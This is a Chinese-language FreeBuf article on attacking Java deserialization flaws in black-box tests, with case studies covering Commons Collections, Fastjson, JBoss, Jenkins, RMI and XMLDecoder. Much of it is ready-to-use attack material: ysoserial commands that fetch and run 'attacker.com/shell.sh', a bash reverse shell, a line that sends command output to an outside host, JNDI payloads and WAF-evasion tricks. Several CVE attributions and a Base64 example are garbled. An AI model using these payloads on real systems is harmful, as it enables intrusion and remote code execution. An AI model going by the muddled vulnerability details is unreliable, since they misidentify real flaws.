freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java漏洞在黑盒实战中的技巧——反序列化篇
2025-03-27 21:43:07
所属地 陕西省

一、入口点发现技巧

1. 协议特征识别

  • Java原生序列化

POST /api/data HTTP/1.1
Content-Type: application/x-java-serialized-object

[HEX] AC ED 00 05 73 72 00 ...  # 魔数头AC ED 00 05
  • XML序列化

<java serialization="1.0">
  <object class="java.util.HashMap">
    <field name="user" class="com.example.User">
      <string>test</string>
    </field>
  </object>
</java>
  • JSON特殊格式

{
  "@type": "com.example.User",
  "name": {"$ref":"$.恶意属性"}
}

2. 常见渗透路径

graph LR
    A[HTTP请求] --> B[参数污染]
    A --> C[Cookie篡改]
    A --> D[文件上传]
    E[JMX端口] --> F[1099端口探测]
    G[RMI服务] --> H[远程对象绑定]

二、漏洞检测手法

1. 盲打检测法

# 使用DNSLOG检测反序列化触发
java -jar ysoserial.jar URLDNS "http://xxxxxx.dnslog.cn" > payload.bin

# 发送payload并观察DNS解析记录
curl -X POST --data-binary @payload.bin http://target.com/api

2. 延时检测法

// 构造触发sleep的payload(CommonsCollections5)
Transformer[] chain = {
    new ConstantTransformer(Thread.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"sleep", new Class[]{Long.TYPE}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{5000}})
};

观察响应时间

  • 正常请求响应时间:200ms

  • 成功触发后响应时间:>5000ms

3. 错误信息分析

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

java.io.InvalidClassException: 
org.apache.commons.collections.functors.InvokerTransformer; 
local class incompatible: stream classdesc serialVersionUID = -8653385846894807688...

关键特征

  • 出现InvokerTransformerAnnotationInvocationHandler等类名

  • InvalidClassException中包含CC组件信息

三、协议级渗透技巧

1. RMI服务探测

# 使用nmap扫描RMI注册端口
nmap -p 1099 --script rmi-vuln-classloader 192.168.1.100

# 强制绑定恶意对象
String server = "rmi://192.168.1.100:1099/Exploit";
Naming.bind(server, new MaliciousObject());

2. JMX攻击

// 构造JMX连接payload
JMXServiceURL url = new JMXServiceURL(
    "service:jmx:rmi:///jndi/rmi://attacker.com:1099/exploit"
);
JMXConnector connector = JMXConnectorFactory.connect(url);

3. HTTP参数注入

POST /exportData HTTP/1.1
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="config"

rO0ABXNyADRjb20uZXhhbXBsZS5TZXJpYWxpemFibGVDb25maWg... # 序列化对象

四、高级绕过检测

1. 协议伪装技巧

# 将序列化数据嵌入JSON
import base64

payload = open('payload.bin', 'rb').read()
wrapped = {
    "data": {
        "type": "base64",
        "value": base64.b64encode(payload).decode()
    }
}

requests.post(url, json=wrapped)

2. 字符集混淆

// 使用多种编码绕过WAF检测
String[] encodings = {"UTF-16BE", "UTF-32", "x-COMPOUND_TEXT"};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payload);

for (String enc : encodings) {
    String encoded = new String(bos.toByteArray(), enc);
    sendTestRequest(encoded);
}

3. 分块传输绕过

POST /api/upload HTTP/1.1
Transfer-Encoding: chunked

7
\xac\xed\x00\x05
0

...后续chunk携带剩余payload...

五、工具链配置

1. Burp Suite插件配置

# 使用Burp自定义插件自动检测
from burp import IBurpExtender
from burp import IScannerCheck

class BurpExtender(IBurpExtender, IScannerCheck):
    def doPassiveScan(self, baseRequestResponse):
        data = baseRequestResponse.getRequest()
        if b'\xac\xed\x00\x05' in data:
            return [CustomScanIssue(
                baseRequestResponse.getHttpService(),
                "Java Serialization Detected",
                "Possible insecure deserialization")]

2. 自动化检测脚本

#!/bin/bash
# 自动化黑盒测试脚本
TARGET=$1

# 生成所有CC变种payload
for gadget in {1..10}; do
    ysoserial.jar CommonsCollections$gadget "nslookup $gadget.xxx.dnslog.cn" > payload$gadget.bin
    curl -X POST --data-binary @payload$gadget.bin $TARGET
done

六、漏洞确认与利用

1. 回显验证

// 构造命令执行回显payload
String cmd = "curl http://attacker.com/$(whoami|base64)";
Transformer[] chain = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

2. 内存马注入验证

GET /favicon.ico HTTP/1.1
Host: target.com
X-Token: ${@Runtime@getRuntime().exec("calc")}  # 检测表达式解析

七、防御方案验证

1. 安全配置检查

# 检查服务器是否配置反序列化过滤
curl -v -X POST --data 'rO0ABXNy...' -H "Content-Type: application/x-java-serialized-object" http://target.com/api

# 预期安全响应:
HTTP/1.1 403 Forbidden
Content-Type: application/json

{"error":"Unsupported media type"}

2. WAF规则测试

# 测试WAF是否拦截CC特征
payloads = [
    b'InvokerTransformer',
    b'AnnotationInvocationHandler',
    b'\xac\xed\x00\x05'
]

for p in payloads:
    r = requests.post(url, data=p)
    if r.status_code != 403:
        print(f"Bypass found: {p[:20]}...")

总结与思维导图

graph TD
    A[黑盒测试流程] --> B[流量捕获]
    A --> C[特征识别]
    A --> D[Payload构造]
    A --> E[异常检测]
    B --> F[BurpSuite历史记录]
    C --> G[AC ED头检测]
    D --> H[Ysoserial生成]
    E --> I[响应时间分析]
    E --> J[错误信息匹配]
    E --> K[DNSLOG回调]

核心要点

  1. 通过协议特征快速锁定可疑端点

  2. 结合多种检测手法相互验证

  3. 关注非常规协议端口(RMI/JMX/JNDI)

  4. 持续更新payload绕过最新防御措施

反序列化的深度技巧

一、基于协议特征的深度检测

1. DNS/ICMP 双通道验证

通过组合DNS查询与ICMP回显检测漏洞,提高隐蔽性:

# 生成DNS探测payload(使用ysoserial)
import os
import requests

dns_log = "yourdomain.dnslog.cn"
payload = os.popen(f'java -jar ysoserial.jar URLDNS {dns_log}').read()
requests.post(target_url, data=payload)

# 同时监听ICMP(Python scapy示例)
from scapy.all import *
def icmp_callback(pkt):
    if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:  # ICMP请求包
        print(f"ICMP Echo Request from {pkt[IP].src}")

sniff(filter="icmp", prn=icmp_callback, timeout=30)

原理

  • URLDNS链会触发DNS解析,验证漏洞存在性

  • 若目标网络限制DNS外连,可改用CommonsCollections5构造ping命令触发ICMP回包

二、非常规协议伪装

1. HTTP参数嵌套Base64

将序列化数据嵌入JSON参数,绕过基础WAF检测:

import base64
import requests

with open("payload.bin", "rb") as f:
    serialized_data = f.read()

wrapped_payload = {
    "data": {
        "type": "binary",
        "content": base64.b64encode(serialized_data).decode()
    }
}

requests.post("http://target/api/upload", json=wrapped_payload)

特征伪装

  • 原始特征rO0AB被Base64编码后变为rO0ABck8wQUI=,可绕过简单正则匹配

2. Multipart表单注入

将payload隐藏在文件上传字段:

import requests

files = {
    'file': ('payload.bin', open('payload.bin', 'rb'), 
            'application/x-java-serialized-object')
}

requests.post("http://target/upload", files=files)

检测点

  • 观察Content-Type: multipart/form-data中是否包含Java序列化数据

三、中间件特性利用

1. JBoss httpinvoker 漏洞利用

针对JBoss 5.x/6.x的ReadOnlyAccessFilter组件:

// 构造JBoss特定payload
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(javax.management.MBeanServerConnection.class),
    new InvokerTransformer("getAttribute", 
        new Class[]{ObjectName.class, String.class}, 
        new Object[]{new ObjectName("jboss.system:type=Server"), "StartTime"}),
    new InvokerTransformer("toString", null, null)
};

触发点

  • 发送payload至/invoker/readonly端点,利用MBean操作执行命令

四、时序攻击与条件竞争

1. 延迟注入检测

通过响应时间差异判断漏洞:

import time

payloads = [
    generate_sleep_payload(5),  # 生成触发Thread.sleep(5000)的payload
    generate_dummy_payload()
]

for p in payloads:
    start = time.time()
    requests.post(target_url, data=p)
    elapsed = time.time() - start
    if elapsed > 4.5:
        print(f"Potential vulnerability detected with payload {p}")

原理

  • 成功触发反序列化漏洞时,服务器会执行sleep导致响应延迟

五、非标准端口探测

1. JMX端口(1099)探测

# 使用nmap检测JMX服务
nmap -p 1099 --script rmi-dumpregistry <target_ip>

# 强制绑定恶意对象
String jmxUrl = "service:jmx:rmi:///jndi/rmi://attacker_ip:1099/Exploit";
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(jmxUrl));

利用场景

  • JMX默认使用RMI协议,若未配置安全策略可直连执行命令

六、防御绕过技巧

1. 动态类加载混淆

// 利用URLClassLoader加载远程类
Transformer[] chain = {
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", 
        new Class[]{URL[].class}, 
        new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};

绕过效果

  • 避免直接引用危险类(如Runtime),绕过静态黑名单检测

总结与验证建议

  1. 多维度验证:组合DNS、ICMP、响应时间等特征判断漏洞有效性

  2. 协议分析:使用Wireshark分析原始流量,确认payload传输完整性

  3. 环境适配:根据目标中间件(WebLogic/JBoss等)调整payload构造策略

防御建议

  • 启用SerialKiller等安全反序列化库

  • 配置JVM安全策略限制敏感操作

通过以上技巧,可在黑盒测试中发现传统方法难以检测的反序列化漏洞入口点。实际攻击需根据目标环境动态调整payload和检测策略。

根据案例深入分析

以下是几个典型的Java反序列化漏洞实战案例解析,结合不同场景和利用链进行深入分析:


案例1:Apache Commons Collections反序列化漏洞

背景

Apache Commons Collections(ACC)是广泛使用的Java基础库,其3.x和4.x版本中的InvokerTransformer类允许通过反射调用任意方法。攻击者可构造恶意序列化对象,触发远程代码执行。

利用条件

  • 目标应用使用ACC 3.1至3.2.1或4.0至4.1版本;

  • 存在未过滤的反序列化入口(如HTTP参数、Cookie)。

攻击步骤

  1. 构造利用链
    使用ChainedTransformer串联反射调用链,例如:

    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    

    通过TransformedMapAnnotationInvocationHandler触发链式调用。

  2. 生成Payload
    使用ysoserial工具生成Payload:

    java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64命令}|{base64,-d}|bash" | base64
    

    替换目标接口的序列化参数(如Cookie中的JSESSIONID)。

  3. 触发漏洞
    目标反序列化时,AnnotationInvocationHandlerreadObject方法触发setValue,最终执行系统命令。


案例2:Apache Tomcat会话持久化漏洞(CVE-2025-24813)

背景

Tomcat默认会话持久化机制允许通过文件存储会话对象。若攻击者能上传恶意序列化文件至会话目录,可触发反序列化漏洞实现远程代码执行。

利用条件

  • Tomcat启用基于文件的会话存储(默认路径为/tmp/sessions);

  • 支持部分PUT请求(默认开启)。

攻击步骤

  1. 上传恶意会话文件
    通过PUT请求将恶意序列化数据写入Tomcat会话目录:

    PUT /sessions/恶意SessionID.session HTTP/1.1
    Host: target.com
    Content-Type: application/octet-stream
    <Base64编码的序列化Payload>
    
  2. 触发反序列化
    发送携带恶意Session ID的GET请求:

    GET /protected/resource HTTP/1.1
    Host: target.com
    Cookie: JSESSIONID=恶意SessionID
    

    服务端读取文件并反序列化,执行Payload中的命令。


案例3:Fastjson 1.2.24反序列化漏洞

背景

Fastjson在处理JSON反序列化时,未对@type字段进行严格校验,导致攻击者可指定恶意类触发代码执行。

利用条件

  • 目标使用Fastjson 1.2.24或更低版本;

  • 反序列化接口未配置安全模式(如autoTypeCheck)。

攻击步骤

  1. 构造恶意JSON
    包含指向危险类的@type字段:

    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "ldap://attacker.com/Exploit",
      "autoCommit": true
    }
    
  2. 触发JNDI注入
    Fastjson反序列化时,JdbcRowSetImpl尝试连接恶意LDAP服务器,加载远程类并执行任意代码。


案例4:JBoss JMXInvokerServlet反序列化漏洞

背景

JBoss的JMXInvokerServlet接口默认暴露且未对序列化数据过滤,攻击者可发送恶意对象实现远程命令执行。

利用条件

  • JBoss版本在6.x或更低;

  • JMXInvokerServlet接口可访问(默认路径/invoker/JMXInvokerServlet)。

攻击步骤

  1. 生成Payload
    使用ysoserial生成CommonsCollections链的Payload:

    java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
    
  2. 发送恶意请求
    通过HTTP POST将Payload发送至目标接口:

    POST /invoker/JMXInvokerServlet HTTP/1.1
    Host: target.com
    Content-Type: application/x-java-serialized-object
    <payload.bin内容>
    

    服务端反序列化后执行命令。


案例5:Jenkins Remoting API反序列化漏洞(CVE-2016-0788)

背景

Jenkins的分布式通信协议(Remoting)未对序列化数据校验,攻击者可构造恶意对象开启JRMP服务,触发反序列化漏洞。

利用条件

  • Jenkins版本≤1.649或LTS≤1.642.1;

  • Remoting API未配置访问控制。

攻击步骤

  1. 启动恶意JRMP服务
    使用ysoserial开启监听:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id > /tmp/pwned"
    
  2. 触发反序列化
    向Jenkins发送恶意序列化数据,触发对JRMP服务的连接,最终执行命令写入/tmp/pwned文件。
    以下是基于搜索结果的多个Java反序列化漏洞实战案例解析,涵盖不同技术场景和利用链的典型应用:


案例6:Java RMI服务反序列化漏洞(CVE-2015-4852)

背景

Java RMI(远程方法调用)是Java分布式应用的核心技术,但其默认使用序列化进行通信,若服务端未对输入数据过滤,攻击者可通过构造恶意序列化对象实现远程代码执行。

利用条件

  • RMI服务暴露在公网(默认端口1099);

  • 目标环境包含存在漏洞的第三方库(如Apache Commons Collections 3.x);

  • 未配置反序列化类白名单。

攻击步骤

  1. 生成Payload
    使用ysoserial生成基于CommonsCollections的Payload:

    java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
    
  2. 利用RMI协议发送Payload
    通过RMI客户端或工具(如RMIRegistryExploit)向目标RMI服务发送恶意序列化数据:

    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099 CommonsCollections1 "id > /tmp/pwned"
    
  3. 触发反序列化
    RMI服务端反序列化时,执行Payload中的命令(如写入文件或反弹Shell)。

防御建议

  • 关闭公网RMI端口;

  • 升级Apache Commons Collections至安全版本;

  • 使用SerialKiller替换默认ObjectInputStream以过滤危险类。


案例7:XMLDecoder反序列化漏洞

背景

XMLDecoder是Java中用于将XML数据转换为对象的工具,但若解析未经验证的XML输入,攻击者可构造恶意XML触发代码执行。

利用条件

  • 目标应用使用XMLDecoder解析用户可控的XML输入;

  • 未限制XML中可实例化的类。

攻击步骤

  1. 构造恶意XML
    包含java.lang.ProcessBuilder类的XML,用于执行系统命令:

    <java version="1.8.0" class="java.beans.XMLDecoder">
      <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
          <void index="0"><string>/bin/bash</string></void>
          <void index="1"><string>-c</string></void>
          <void index="2"><string>curl http://attacker.com/shell.sh | bash</string></void>
        </array>
        <void method="start"/>
      </object>
    </java>
    
  2. 发送恶意请求
    将XML作为HTTP请求体发送至目标接口,触发XMLDecoder解析:

    POST /data/import HTTP/1.1
    Content-Type: application/xml
    <恶意XML内容>
    
  3. 代码执行
    XMLDecoder解析后实例化ProcessBuilder并执行命令。

防御建议

  • 禁用XMLDecoder或替换为安全的解析器(如JAXB);

  • 配置输入验证,限制XML中可实例化的类。


案例8:Spring AOP利用链(CVE-2016-4977)

背景

Spring AOP模块的SimpleJdbcExceptionTranslator类在反序列化时未校验输入,结合第三方库(如Groovy)可触发远程代码执行。

利用条件

  • Spring框架版本≤4.3.1;

  • ClassPath中包含Groovy库;

  • 存在未过滤的反序列化入口。

攻击步骤

  1. 生成Groovy Payload
    使用ysoserial生成Groovy链的Payload:

    java -jar ysoserial.jar Groovy1 "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | base64
    
  2. 发送恶意请求
    将Payload注入HTTP请求参数或Cookie中:

    POST /api/data HTTP/1.1
    Cookie: JSESSIONID=rO0ABXNy...(Base64编码的Payload)
    
  3. 反弹Shell
    服务端反序列化后,建立反向TCP连接到攻击者服务器。

防御建议

  • 升级Spring框架至安全版本;

  • 禁用不必要的第三方库(如Groovy);

  • 使用白名单机制限制反序列化类。


案例9:BadAttributeValueExpException类利用

背景

Java标准库中的BadAttributeValueExpException类在反序列化时会调用toString()方法,结合TiedMapEntryLazyMap链可触发任意代码执行。

利用条件

  • 目标环境包含Apache Commons Collections 3.x;

  • 存在未过滤的反序列化入口。

攻击步骤

  1. 构造利用链
    通过反射将TiedMapEntry对象注入BadAttributeValueExpExceptionval字段:

    Transformer chain = new ChainedTransformer(transformers); // 包含反射调用Runtime.exec
    Map lazyMap = LazyMap.decorate(new HashMap(), chain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
    BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
    // 反射设置val字段为entry
    
  2. 序列化并发送Payload
    生成序列化数据并发送至目标接口。

  3. 触发漏洞
    反序列化时自动调用toString(),执行预设命令(如启动计算器)。

防御建议

  • 升级Commons Collections至3.2.2+;

  • 配置JVM参数禁用危险类的序列化支持。

# Java反序列化漏洞 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录